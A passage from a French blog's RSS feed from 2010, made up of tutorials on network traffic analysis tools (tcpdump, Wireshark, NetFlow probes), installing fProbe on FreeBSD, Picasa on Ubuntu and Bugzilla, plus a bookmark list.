    <a href="http://blog.nicolargo.com/wp-content/uploads/2009/09/Outils-mesures-reseaux-COEUR.png"><img title="Outils mesures reseaux - COEUR" src="http://blog.nicolargo.com/wp-content/uploads/2009/09/Outils-mesures-reseaux-COEUR.png" height="207" alt="" width="587" /></a>
  </li>
</ul>
<h1>
  Analyse en extrémité de réseau
</h1>
<p>
  Nous avons vu que pour que cette méthode soit&nbsp;pertinente&nbsp;le choix du point d’analyse est important. Dans notre architecture, on peut soit la faire sur un PC mis en coupure entre le LAN et le routeur WAN (il faut que <a href="http://doc.ubuntu-fr.org/partage_de_connexion_internet">le PC soit configuré en mode bridge</a> pour laisser passer tout les flux), soit directement sur le routeur si il tourne sur un système d’exploitation “libre” (GNU/Linux, BSD…).
</p>
<h2>
  tcpdump / wireshark /&nbsp;tshark
</h2>
<p>
  Ce sont des outils de capture et d’analyse d’une interface réseau. Le principe est simple: on lance le logiciel qui va capturer tout ce qui passe sur une interface (ou une sélection si on utilise un système de filtrage à la source). Ensuite, le résultat de la capture pourra être archivé (par exemple dans un fichier &nbsp;de type libpcap) puis analysé.
</p>
<p>
  <strong>tcpdump</strong> est la commande la plus standard que l’on peut trouver dans n’importe quel système d’exploitation digne de ce nom. Un&nbsp;tutoriel&nbsp;sur le sujet <a href="http://blog.nicolargo.com/2007/02/tutorial-tcpdump.html">peut être trouvé ici</a>.
</p>
<p>
  <a href="http://blog.nicolargo.com/wp-content/uploads/2009/09/tcpdump.png"><img title="tcpdump" src="http://blog.nicolargo.com/wp-content/uploads/2009/09/tcpdump-e1263905517939.png" height="334" alt="" width="600" /></a>
</p>
<p>
  <strong>WireShark</strong> (nouveau nom d’Ethereal) propose une interface graphique permettant de guider l’utilisateur dans les étapes de capture, filtrage et analyse. Issue d’une communauté très active, il propose également des plugins permettant d’analyser finement des flux spécifique (SIP / RTP / H.323 …). On peut facilement avoir des rapports graphiques ou textuel (distribution IP, bande passante, couche protocolaire…). Un tutoriel sur ce logiciel <a href="http://blog.nicolargo.com/2007/07/tutoriel-wireshark-ex-ethereal.html">est disponible ici</a>.
</p>
<p>
  <a href="http://blog.nicolargo.com/wp-content/uploads/2009/09/wireshark.png"><img title="wireshark" src="http://blog.nicolargo.com/wp-content/uploads/2009/09/wireshark-e1263906051390.png" height="414" alt="" width="600" /></a>
</p>
<p>
  Si on ne se trouve pas dans un environnement graphique, le projet Wireshark propose un outil en ligne de commande qui s’appelle <strong>tshark</strong> et qui permet d’avoir les mêmes fonctions que tcpdump avec&nbsp;une présentation&nbsp;légèrement&nbsp;différente. La documentation <a href="http://www.wireshark.org/docs/man-pages/tshark.html">est disponible ici</a> (promis je fais un billet sur le sujet quand j’ai un peu de temps)…
</p>
<p>
  <a href="http://blog.nicolargo.com/wp-content/uploads/2009/09/tshark.png"><img title="tshark" src="http://blog.nicolargo.com/wp-content/uploads/2009/09/tshark-e1263906511306.png" height="334" alt="" width="600" /></a>
</p>
<p>
  <span style="text-decoration: underline;">Quelques commandes pour capturer/filtrer un trafic réseau</span>
</p>
<p>
  Capturer tout le trafic transitant par l’interface eth0 (-i) et la sauvegarde (-w) dans le fichier /tmp/captureXX.cap. Il faut faire un CTRL-C pour arrêter la capture:
</p>
<pre>
# sudo tcpdump -i eth0 -w /tmp/capture01.dump
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
^C168 packets captured
168 packets received by filter
0 packets dropped by kernel
# sudo tshark -i eth0 -w /tmp/capture02.dump
Running as user "root" and group "root". This could be dangerous.
Capturing on eth0
116
</pre>
<p>
  Analyse en temps réel des paquets SIP (il existe aussi des options pour RTP, SMB, H.225…) et affichage des statistiques en fin de capture (après le CTRL-C):
</p>
<pre>
# sudo tshark -i eth0 -z sip,stat

...

===================================================================
SIP Statistics
Number of SIP messages: 14
Number of resent SIP messages: 0
* SIP Status Codes in reply packets
SIP 401 Unauthorized    :     2 Packets
SIP 200 OK              :     2 Packets
SIP 481 Call/Transaction Does Not Exist :     1 Packets
SIP 100 Trying          :     4 Packets
* List of SIP Request methods
REGISTER        :     4 Packets
NOTIFY          :     1 Packets
* Average setup time 1701996919 ms
Min 1768173419 ms
Max 1918986355 ms
===================================================================
</pre>
<h2>
  bmon / ifstat / vnstat / ntop / darkstat
</h2>
<p>
  <strong>Bmon</strong> est un logiciel permettant via un terminal texte (pas besoin d’interface graphique) de surveiller en temps réel le débit transitant sur ses interfaces réseaux. Une fois lancé, il suffit de se déplacer avec les touches haut et bas pour sélectionner l’interface à surveiller puis de cliquer sur les touche <strong>g</strong> et <strong>d</strong> pour afficher le graphique de charge et le détail. Un bon outil pour voir en un clin d’oeil le débit de ses liaisons Internet:
</p>
<p>
  <a href="http://blog.nicolargo.com/wp-content/uploads/2009/09/bmon.png"><img title="bmon" src="http://blog.nicolargo.com/wp-content/uploads/2009/09/bmon-e1263908720516.png" height="432" alt="" width="600" /></a>
</p>
<p>
  Dans le même genre, on peut également citer <strong>ifstat</strong>, il est assez basique mais efficace. Une fois lancé avec l’option (-b), il affiche toutes les interfaces (ou une interface&nbsp;sélectionnée&nbsp;avec l’option -i) et le débit instantané (avec 1 nouvelle ligne par seconde, ce temps étant&nbsp;paramétrable). Par exemple pour afficher le débit de l’interface eth0 toutes les 5 secondes en Kbps, il faut saisir la commande (ifstat -i eth0 -b 5):
</p>
<p>
  <a href="http://blog.nicolargo.com/wp-content/uploads/2009/09/ifstat.png"><img title="ifstat" src="http://blog.nicolargo.com/wp-content/uploads/2009/09/ifstat-e1263915511840.png" height="266" alt="" width="400" /></a>
</p>
<p>
  <strong>Vnstat</strong> est également un outil permettant de surveiller la bande passante. En plus des fonctions de supervision temps réel que l’on peut trouver dans bmon et ifstat, il propose de stocker les informations dans une base de données, ce qui lui permet d’afficher des rapports et des graphes. Pour une description plus précise de Vnstat suivi d’une procédure d’installation et d’utilisation, <a href="http://blog.nicolargo.com/2009/04/vnstat-surveille-votre-bande-passante.html">vous pouvez lire ce billet</a>.
</p>
<p style="text-align: center;">
  <img src="http://blog.nicolargo.com/wp-content/uploads/2009/04/vnstatih.png" alt="" />
</p>
<p>
  <strong>NTop</strong> a été longtemps un logiciel que j’installai systématiquement sur mes routeurs IP (FreeBSD ou GNU/Linux). Malheureusement, des problèmes de performances et de sécurités m’ont fait petit à petit abandonner ce projet. Les dernières version (&gt;3.0) semblent corriger ces défaut de jeunesse et NTop revient sur le devant de la scène avec des fonctionnalités&nbsp;sympathiques comme le fait d’intégrer un collecteur NetFlow. De plus la communauté Ntop semble très active, comme on peut le voir sur leur <a href="http://www.ntop.org/news.html">site</a> et <a href="http://www.ntop.org/blog">blog</a>. Vous pouvez consulter <a href="http://blog.nicolargo.com/2007/10/surveiller-son-interface-reseau-avec-ntop.html">ce (vieux) billet sur Ntop</a> (j’en rédige un nouveau si il répond de nouveau à mes attentes).
</p>
<p>
  <a href="http://blog.nicolargo.com/wp-content/uploads/2009/09/ntop_world.png"><img title="ntop_world" src="http://blog.nicolargo.com/wp-content/uploads/2009/09/ntop_world.png" height="473" alt="" width="435" /></a>
</p>
<p>
  <strong>Darkstat</strong> est le petit dernier, découvert grâce à <a href="http://www.planet-libre.org/">un des blogs de Planet-Libre</a>. Il permet comme Ntop d’accéder aux données récoltées par une interface Web. Il se focalise cependant sur les informations de type bande passante. Lors de mes tests sur une machien Ubuntu 9.10, j’ai constaté un accès trés lent à l’interface Web (sudo darkstat -i eth0 -p 666). A suivre donc.
</p>
<p>
  <a href="http://blog.nicolargo.com/wp-content/uploads/2009/09/darkstat-graphs.png"><img title="darkstat-graphs" src="http://blog.nicolargo.com/wp-content/uploads/2009/09/darkstat-graphs-e1263980343219.png" height="602" alt="" width="600" /></a>
</p>
<h1>
  Analyse en coeur de réseau
</h1>
<p>
  Dans ce chapitre, nous allons aborder de manière très superficielle (vous pouvez <a href="http://blog.nicolargo.com/2009/11/analyse-des-flux-netflow-sous-gnulinux.html">consulter ce billet sur Netflow pour un peu plus de détails</a>). Le but est de réaliser des mesures sur plusieurs point de la chaine réseau. Pour cela on doit mettre en place des sondes sur les équipements. Ces sondes remontes les informations sur un collecteur. Afin on analyse les données collectées.
</p>
<p>
  <img title="Netflow" src="http://blog.nicolargo.com/wp-content/uploads/2009/11/netflow.png" height="300" alt="Netflow" width="400" />
</p>
<p>
  Deux protocoles sont disponibles. Le plus connu est Netflow (de la société Cisco). Bien que propriétaire, il est devenu un standard sur le marché. Il a donc été repris (par <a href="http://fr.wikipedia.org/wiki/R%C3%A9tro-ing%C3%A9nierie">rétro-ingénierie</a>) et adapté à d’autres environnements dont GNU/Linux et BSD.
</p>
<p>
  Un autre protocole compatible avec Netflow a vu le jour: <a href="http://en.wikipedia.org/wiki/IPFIX">IPFix</a> de l’IETF. Il y a malheureusement peut de projet qui exploite ce protocole. On peut citer <a href="http://www.qosient.com/argus/">le projet Argus</a>.
</p>
<p>
  Sous GNU/Linux et BSD, j’utilise l’implémentation libre <strong>NFDump</strong> (disponible <a href="http://nfdump.sourceforge.net/">ici</a>) qui permet de collecter les données et de les analyser, grâce à des scripts, en lignes de commandes. Il existe également des sondes Netflow libres: <strong>fProbe</strong> ou <strong>nProbe</strong> (ce dernier est payant, environ 99€, voir le&nbsp;<a href="http://www.ntop.org/nProbe.html">site du projet</a>).
</p>
<p style="text-align: center;">
  <img title="NFdump" src="http://blog.nicolargo.com/wp-content/uploads/2009/11/screenshot_027.png" height="207" alt="NFdump" width="580" />
</p>
<p style="text-align: left;">
  Pour revenir à Netflow, il permet de&nbsp;récupérer&nbsp;les mesures suivantes:
</p>
<ul>
  <li>Durée du flux
  </li>
  <li>Protocole réseau (TCP/UDP/ICMP…)
  </li>
  <li>Adresses source et destination
  </li>
  <li>Ports source et destination
  </li>
  <li>Flags TCP
  </li>
  <li>Champs Tos (DSCP)
  </li>
  <li>Nombre de paquets
  </li>
  <li>Taille en octets
  </li>
  <li>Nombre de paquets par seconde
  </li>
  <li>Débit en bit par seconde
  </li>
  <li>Taille en octets par paquets
  </li>
  <li>Nombre de flux
  </li>
</ul>
<h1>
  Conclusion
</h1>
<p>
  Cette petite introduction à l’art de l’analyse réseau nous a permis de voir que les logiciels libres sont bien présents sur ce secteur. J’ai sûrement oublié pas mal d’outils que vous, lecteurs,&nbsp;utilisez tous les jours. Je vous propose donc de laisser un petit commentaire ci-dessous avec votre liste personnelle.
</p>
<div>
  <a href="http://blog.nicolargo.com/wp-content/plugins/as-pdf/generate.php?post=2250"></a>
</div>
<p>
  <a href="http://feedads.g.doubleclick.net/~a/LUakwsFwYwMFdq7VrNxR7RleNow/0/da"><img src="http://feedads.g.doubleclick.net/~a/LUakwsFwYwMFdq7VrNxR7RleNow/0/di" /></a><br />
  <a href="http://feedads.g.doubleclick.net/~a/LUakwsFwYwMFdq7VrNxR7RleNow/1/da"><img src="http://feedads.g.doubleclick.net/~a/LUakwsFwYwMFdq7VrNxR7RleNow/1/di" /></a>
</p>
<div>
  <a href="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?a=mlz6jBsYLO0:KAy0mxAWFBI:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?i=mlz6jBsYLO0:KAy0mxAWFBI:D7DqB2pKExk" /></a> <a href="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?a=mlz6jBsYLO0:KAy0mxAWFBI:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?d=dnMXMwOfBR0" /></a> <a href="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?a=mlz6jBsYLO0:KAy0mxAWFBI:RW9bx_9rXgo"><img src="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?d=RW9bx_9rXgo" /></a>
</div>
</div>]]>
      </description>
      <pubDate>Thu, 21 Jan 2010 07:36:18 +0100</pubDate>
      <guid isPermaLink="false">tag:ziki.com,2010:/article/11800787</guid>
    </item>
    <item>
      <title>Installation d'une sonde NetFlow sous FreeBSD</title>
      <link>http://blog.nicolargo.com/2010/01/installation-dune-sonde-netflow-sous-freebsd.html</link>
      <description>
        <![CDATA[<div class="post_content wiki_text"><p>
  <a href="http://blog.nicolargo.com/wp-content/uploads/2010/01/rackserver.png"><img title="rackserver" src="http://blog.nicolargo.com/wp-content/uploads/2010/01/rackserver-e1263990460109.png" height="118" alt="" width="580" /></a>
</p>
<p>
  Nous allons dans ce billet voir comment installer une sonde Netflow (protocole propriétaire de Cisco) sur une machine FreeBSD. On pourra ensuite collecter les mesures des flux réseaux transitant par notre machine BSD et les remonter à un collecteur avant analyse. Pour en savoir plus sur le protocole Netflow, je vous conseille <a href="http://blog.nicolargo.com/2009/11/analyse-des-flux-netflow-sous-gnulinux.html">la lecture de ce billet</a>.
</p>
<p>
  Nous allons utiliser la sonde libre <a href="http://sourceforge.net/projects/fprobe/">fProbe</a> qui a le bon goût d'être disponible dans les dépôts de FreeBSD.
</p>
<h1>
  Installation de fProbe
</h1>
<p>
  On installe le logiciel fProbe (version 1.1 au moment de l'écriture de ce billet):
</p>
<pre>
pkg_add -r fprobe
</pre>
<h1>
  Utilisation de fProbe
</h1>
<p>
  Imaginons que votre routeur sous FreeBSD est 2 interfaces réseaux (ce qui est un minimum pour un routeur...): em0 et em1. em0 est votre interface coté LAN et em1 celle coté WAN. Pour capturer les flux transitant sur l'interface WEN et remonté via le protocole NetFlow (sur le port UDP/9991) les mesures vers une machine collecteur ayant pour adresse IP 192.168.0.100, il faut saisir la ligne de commande suivante:
</p>
<pre>
fprobe -i em1 -f ip 192.168.0.100:9991
</pre>
<p>
  Il est ensuite facile de récupérer les mesures sur la machine 192.168.0.100 <a href="http://blog.nicolargo.com/2009/11/analyse-des-flux-netflow-sous-gnulinux.html">en installant NFDump</a> ou en utilisant NTop et son plugin NetFlow.
</p>
<p>
  Vous pouvez bien&nbsp;évidemment lancer autant de sonde fprobe que nécessaire (par exemple si votre routeur dispose de plusieurs interfaces à surveiller).
</p>
<p>
  Il est également possible d'envoyer les mesures Netflow à plusieurs collecteurs. Pour celà il faut ajouter les couples adresse IP/port UDP à la ligne de commande. Dans ce cas, il faut modifier le script de démarrage de la manière suivante:
</p>
<pre>
vi /usr/local/etc/rc.d/fprobe

#!/bin/sh

#

# $FreeBSD: ports/net-mgmt/fprobe/files/fprobe.sh.in,v 1.1 2006/11/24 07:23:24 clsung Exp $

#

# PROVIDE: fprobe

# REQUIRE: NETWORKING

# KEYWORD: shutdown

# Add the following lines to /etc/rc.conf to enable fprobe:

#

#fprobe_enable="YES"

#

# See fprobe(8) for fprobe_flags

#

. "/etc/rc.subr"

name="fprobe"

rcvar=`set_rcvar`

command="/usr/local/sbin/fprobe"

command_args1="-i em0 -f ip 192.168.0.100:9990"

command_args1="-i em4 -f ip 192.168.0.100:9994"

pidfile="/var/run/$name.pid"

load_rc_config "$name"

: ${fprobe_enable="NO"}

start_cmd="echo \"Starting ${name}."\; ${command} ${command_args1}; ${command} ${command_args2}"

run_rc_command "$1"
</pre>
<p>
  Quand vous avez validé votre chaine de mesure (sonde / collecteur), vous pouvez automatiser le lancement de la sonde en modifiant le fichier /usr/local/etc/rc.d/fprobe pour l'adapter à vos besoins et ajouter la ligne suivante au fichier /etc/rc.conf:
</p>
<pre>

fprobe_enable="YES"
</pre>
<div>
  <a href="http://blog.nicolargo.com/wp-content/plugins/as-pdf/generate.php?post=2654"></a>
</div>
<p>
  <a href="http://feedads.g.doubleclick.net/~a/rQY6ynbp0XuRXaquf2VHln8BCaM/0/da"><img src="http://feedads.g.doubleclick.net/~a/rQY6ynbp0XuRXaquf2VHln8BCaM/0/di" /></a><br />
  <a href="http://feedads.g.doubleclick.net/~a/rQY6ynbp0XuRXaquf2VHln8BCaM/1/da"><img src="http://feedads.g.doubleclick.net/~a/rQY6ynbp0XuRXaquf2VHln8BCaM/1/di" /></a>
</p>
<div>
  <a href="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?a=w3UJZGsU-3k:wmiRt-JsGW0:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?i=w3UJZGsU-3k:wmiRt-JsGW0:D7DqB2pKExk" /></a> <a href="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?a=w3UJZGsU-3k:wmiRt-JsGW0:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?d=dnMXMwOfBR0" /></a> <a href="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?a=w3UJZGsU-3k:wmiRt-JsGW0:RW9bx_9rXgo"><img src="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?d=RW9bx_9rXgo" /></a>
</div>
</div>]]>
      </description>
      <pubDate>Wed, 20 Jan 2010 13:39:21 +0100</pubDate>
      <guid isPermaLink="false">tag:ziki.com,2010:/article/11792423</guid>
    </item>
    <item>
      <title>Installer Picasa sur Ubuntu &#224; partir des d&#233;p&#244;ts Google</title>
      <link>http://blog.nicolargo.com/2010/01/installer-picasa-sur-ubuntu-a-partir-des-depots-google.html</link>
      <description>
        <![CDATA[<div class="post_content wiki_text"><p>
  Picasa est la réponse de Google à iPhoto d'Apple. Quand une nouvelle fonctionnalité est proposée dans le premier, elle arrive&nbsp;immanquablement&nbsp;dans le second quelques release plus tard. Le logiciel permet de gérer sa collection de photos numériques, avec des fonctions, de classement, retouche, exportation...
</p>
<p>
  <a href="http://blog.nicolargo.com/wp-content/uploads/2010/01/picasa-ubuntu-karmic.png"><img title="picasa-ubuntu-karmic" src="http://blog.nicolargo.com/wp-content/uploads/2010/01/picasa-ubuntu-karmic-e1263977618281.png" height="421" alt="" width="600" /></a>
</p>
<p>
  Les principaux défauts de Picasa sont:
</p>
<ul>
  <li>le fait qu'il n'est <strong>pas libre</strong>... Mais je n'ai, à l'heure actuelle pas trouvé de solution open-source arrivant à la qualité de ce logiciel (que ce soit F-Spot, gThumb ou Shotwell...)
  </li>
  <li>il n'existe <strong>pas de version spécifique pour les&nbsp;environnement&nbsp;GNU/Linux</strong> (comme on peut le trouver sous Mac OS X) mais une version "winefier" de la version Windows&nbsp;(comme Wine est sous license LGPL, Google l'a intégré au package d'installation de Picasa).
  </li>
</ul>
<p>
  Voici donc une procédure pour installer Picasa sur votre distribution GNU/Linux Ubuntu 9.10.
</p>
<p>
  On commence par ajouter les <a href="http://www.google.com/linuxrepositories/testrepo.html">dépôts Google</a>
</p>
<pre>
sudo vim /etc/apt/sources.list.d/google-karmic.list
# Google repository
deb http://dl.google.com/linux/deb/ stable non-free

# Google testing repository
deb http://dl.google.com/linux/deb/ testing non-free
</pre>
<p>
  Puis on importe la clés d'authentification:
</p>
<pre>
wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | apt-key add -
</pre>
<p>
  On met à jour notre liste de dépôt puis on installe Picasa:
</p>
<pre>
sudo apt-get update
sudo apt-get install picasa
</pre>
<div>
  <a href="http://blog.nicolargo.com/wp-content/plugins/as-pdf/generate.php?post=2635"></a>
</div>
<p>
  <a href="http://feedads.g.doubleclick.net/~a/Rhy2mkQ-qXw949PwLYuVEQpyZ2A/0/da"><img src="http://feedads.g.doubleclick.net/~a/Rhy2mkQ-qXw949PwLYuVEQpyZ2A/0/di" /></a><br />
  <a href="http://feedads.g.doubleclick.net/~a/Rhy2mkQ-qXw949PwLYuVEQpyZ2A/1/da"><img src="http://feedads.g.doubleclick.net/~a/Rhy2mkQ-qXw949PwLYuVEQpyZ2A/1/di" /></a>
</p>
<div>
  <a href="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?a=rS2Pf16dbPg:WbDcdT3Q1Xk:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?i=rS2Pf16dbPg:WbDcdT3Q1Xk:D7DqB2pKExk" /></a> <a href="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?a=rS2Pf16dbPg:WbDcdT3Q1Xk:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?d=dnMXMwOfBR0" /></a> <a href="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?a=rS2Pf16dbPg:WbDcdT3Q1Xk:RW9bx_9rXgo"><img src="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?d=RW9bx_9rXgo" /></a>
</div>
</div>]]>
      </description>
      <pubDate>Wed, 20 Jan 2010 10:00:05 +0100</pubDate>
      <guid isPermaLink="false">tag:ziki.com,2010:/article/11792424</guid>
    </item>
    <item>
      <title>Mes &quot;marques ta-pages&quot; de la semaine</title>
      <link>http://blog.nicolargo.com/2010/01/mes-marques-ta-pages-de-la-semaine-29.html</link>
      <description>
        <![CDATA[<div class="post_content wiki_text"><p style="text-align: center;">
  <img title="Marques-pages" src="http://blog.nicolargo.com/wp-content/uploads/2009/08/screenshot_003-300x113.png" height="113" align="center" alt="Marques-pages" width="300" />
</p>
<ul>
  <li>
    <a href="http://www.smashingmagazine.com/2010/01/12/45-powerful-css-javascript-techniques/">45 techniques CSS/JS chez Smashing Mag</a>
  </li>
  <li>
    <a href="http://fasterdata.es.net/TCP-tuning/FreeBSD.html">Guide de tuning IP pour FreeBSD</a>
  </li>
  <li>
    <a href="http://fasterdata.es.net/TCP-tuning/linux.html">Guide de tuning pour sa configuration IP sur GNU/Linux</a>
  </li>
  <li>
    <a href="http://www.cisco.com/en/US/tech/tk543/tk757/technologies_tech_note09186a00800949f2.shtml">Implémenter une QoS de type Diffserv sur un routeur Cisco</a>
  </li>
  <li>
    <a href="http://www.frozentux.net/ipsysctl-tutorial/ipsysctl-tutorial.html">Ipsysctl tutorial</a>
  </li>
  <li>
    <a href="http://www.frozentux.net/iptables-tutorial/iptables-tutorial.html">Iptables tutorial</a>
  </li>
  <li>
    <a href="http://linuxfr.org/2010/01/09/26333.html">FAN (distribution GNU/Linux orientée supervision système et réseau) passe en version 2.0</a>
  </li>
  <li>
    <a href="http://net.tutsplus.com/tutorials/php/techniques-and-resources-for-mastering-curl/?utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=Feed:%20nettuts%20(NETTUTS)&amp;utm_content=Google%20Reader">Tutoriel d'introduction à cURL (en anglais)</a>
  </li>
</ul>
<div>
  <a href="http://blog.nicolargo.com/wp-content/plugins/as-pdf/generate.php?post=2613"></a>
</div>
<p>
  <a href="http://feedads.g.doubleclick.net/~a/bkoH-UpEDyyIepInHmZ7kXaFyfM/0/da"><img src="http://feedads.g.doubleclick.net/~a/bkoH-UpEDyyIepInHmZ7kXaFyfM/0/di" /></a><br />
  <a href="http://feedads.g.doubleclick.net/~a/bkoH-UpEDyyIepInHmZ7kXaFyfM/1/da"><img src="http://feedads.g.doubleclick.net/~a/bkoH-UpEDyyIepInHmZ7kXaFyfM/1/di" /></a>
</p>
<div>
  <a href="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?a=Hv9HKxPJZPE:LY12VV1rKPc:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?i=Hv9HKxPJZPE:LY12VV1rKPc:D7DqB2pKExk" /></a> <a href="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?a=Hv9HKxPJZPE:LY12VV1rKPc:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?d=dnMXMwOfBR0" /></a> <a href="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?a=Hv9HKxPJZPE:LY12VV1rKPc:RW9bx_9rXgo"><img src="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?d=RW9bx_9rXgo" /></a>
</div>
</div>]]>
      </description>
      <pubDate>Fri, 15 Jan 2010 11:10:33 +0100</pubDate>
      <guid isPermaLink="false">tag:ziki.com,2010:/article/11746262</guid>
    </item>
    <item>
      <title>Installation de Bugzilla sur GNU/Linux Ubuntu</title>
      <link>http://blog.nicolargo.com/2010/01/installation-de-bugzilla-sur-gnulinux-ubuntu.html</link>
      <description>
        <![CDATA[<div class="post_content wiki_text"><p>
  <a href="http://www.bugzilla.org/">Bugzilla</a> et un outil de suivi de bug (bug tracking system) permettant à une communauté d'utilisateur de logger, suivre et traité les bugs d'un système/logiciel. Bugzilla est utilisé pour le suivi de nombreux logiciels libre: Mozilla, Kernel Linux, Gnome, KDE, Apache, Open Office, Eclipse...<span></span>
</p>
<h1>
  Installation
</h1>
<p>
  L'installation est très simple sur Ubuntu:
</p>
<pre>

sudo aptitude install bugzilla3
</pre>
<p>
  <a href="http://blog.nicolargo.com/wp-content/uploads/2010/01/INSTALLATION-DE-BUGZILLA_012.png"><img title="INSTALLATION DE BUGZILLA_012" src="http://blog.nicolargo.com/wp-content/uploads/2010/01/INSTALLATION-DE-BUGZILLA_012-300x168.png" height="168" alt="" width="300" /></a><a href="http://blog.nicolargo.com/wp-content/uploads/2010/01/INSTALLATION-DE-BUGZILLA_013.png"><img title="INSTALLATION DE BUGZILLA_013" src="http://blog.nicolargo.com/wp-content/uploads/2010/01/INSTALLATION-DE-BUGZILLA_013-300x168.png" height="168" alt="" width="300" /></a><a href="http://blog.nicolargo.com/wp-content/uploads/2010/01/INSTALLATION-DE-BUGZILLA_014.png"><img title="INSTALLATION DE BUGZILLA_014" src="http://blog.nicolargo.com/wp-content/uploads/2010/01/INSTALLATION-DE-BUGZILLA_014-300x168.png" height="168" alt="" width="300" /></a><a href="http://blog.nicolargo.com/wp-content/uploads/2010/01/INSTALLATION-DE-BUGZILLA_015.png"><img title="INSTALLATION DE BUGZILLA_015" src="http://blog.nicolargo.com/wp-content/uploads/2010/01/INSTALLATION-DE-BUGZILLA_015-300x168.png" height="168" alt="" width="300" /></a><a href="http://blog.nicolargo.com/wp-content/uploads/2010/01/INSTALLATION-DE-BUGZILLA_016.png"><img title="INSTALLATION DE BUGZILLA_016" src="http://blog.nicolargo.com/wp-content/uploads/2010/01/INSTALLATION-DE-BUGZILLA_016-300x168.png" height="168" alt="" width="300" /></a><a href="http://blog.nicolargo.com/wp-content/uploads/2010/01/INSTALLATION-DE-BUGZILLA_017.png"><img title="INSTALLATION DE BUGZILLA_017" src="http://blog.nicolargo.com/wp-content/uploads/2010/01/INSTALLATION-DE-BUGZILLA_017-300x168.png" height="168" alt="" width="300" /></a><img title="INSTALLATION DE BUGZILLA_018" src="http://blog.nicolargo.com/wp-content/uploads/2010/01/INSTALLATION-DE-BUGZILLA_018-300x168.png" height="168" alt="" width="300" /><img title="INSTALLATION DE BUGZILLA_019" src="http://blog.nicolargo.com/wp-content/uploads/2010/01/INSTALLATION-DE-BUGZILLA_019-300x168.png" height="168" alt="" width="300" /><img title="INSTALLATION DE BUGZILLA_020" src="http://blog.nicolargo.com/wp-content/uploads/2010/01/INSTALLATION-DE-BUGZILLA_020-300x168.png" height="168" alt="" width="300" /><img title="INSTALLATION DE BUGZILLA_021" src="http://blog.nicolargo.com/wp-content/uploads/2010/01/INSTALLATION-DE-BUGZILLA_021-300x168.png" height="168" alt="" width="300" /><img title="INSTALLATION DE BUGZILLA_022" src="http://blog.nicolargo.com/wp-content/uploads/2010/01/INSTALLATION-DE-BUGZILLA_022-300x168.png" height="168" alt="" width="300" /><img title="INSTALLATION DE BUGZILLA_023" src="http://blog.nicolargo.com/wp-content/uploads/2010/01/INSTALLATION-DE-BUGZILLA_023-300x168.png" height="168" alt="" width="300" />
</p>
<p>
  On accède au serveur par l'URL:
</p>
<p style="text-align: center;">
  http://adresse_de_votre_serveur/cgi-bin/bugzilla3/
</p>
<p>
  <a href="http://blog.nicolargo.com/wp-content/uploads/2010/01/S%C3%A9lection_024.png"><img title="Sélection_024" src="http://blog.nicolargo.com/wp-content/uploads/2010/01/S%C3%A9lection_024-300x133.png" height="133" alt="" width="300" /></a>
</p>
<h1>
  Configuration
</h1>
<p>
  Il faut se connecter en utilisant comme login, l'adresse mail d'administration et le mot de passe associé.
</p>
<p>
  Avant d'utiliser le serveur, il faut configurer quelques paramètres en se rendant à la page suivante:
</p>
<p style="text-align: center;">
  http://adresse_de_votre_serveur/cgi-bin/bugzilla3/editparams.cgi
</p>
<p>
  Notamment les parmaètres:
</p>
<ul>
  <li>Le paramètre&nbsp;<strong>maintainer</strong>, la personne responsable de cette installation si quelque chose fonctionnait mal.
  </li>
  <li>Le paramètre&nbsp;<strong>urlbase</strong>, qui est l'URL pointant vers cette installation et qui sera utilisée dans les courriels (ce qui est aussi la raison pour laquelle vous voyez cette page&nbsp;: tant que ce paramètre ne sera pas défini, vous verrez cette page encore et encore).
  </li>
  <li>Le paramètre&nbsp;<strong>cookiepath</strong>, qui est important pour votre navigateur pour gérer correctement vos cookies.
  </li>
  <li>Le paramètre&nbsp;<strong>utf8</strong>, qui vous permettra d'encoder tous les textes en UTF-8 si vous le voulez (il est fortement recommandé de laisser ce paramètre activé).
  </li>
</ul>
<h1>
  Utilisation
</h1>
<p>
  Je vous conseille ensuite de créer un (ou plusieurs) compte admin à partie de l'URL:
</p>
<p style="text-align: center;">
  http://adresse_de_votre_serveur/cgi-bin/bugzilla3/editusers.cgi?action=add
</p>
<p>
  Il ne vous reste plus qu'a consulter <a href="http://www.bugzilla.org/docs/">la document en ligne</a> pour vous servir de votre nouveau serveur Bugzilla !
</p>
<div>
  <a href="http://blog.nicolargo.com/wp-content/plugins/as-pdf/generate.php?post=2588"></a>
</div>
<p>
  <a href="http://feedads.g.doubleclick.net/~a/pWuqMwL9Pln16fYwRjyCpdkxP4o/0/da"><img src="http://feedads.g.doubleclick.net/~a/pWuqMwL9Pln16fYwRjyCpdkxP4o/0/di" /></a><br />
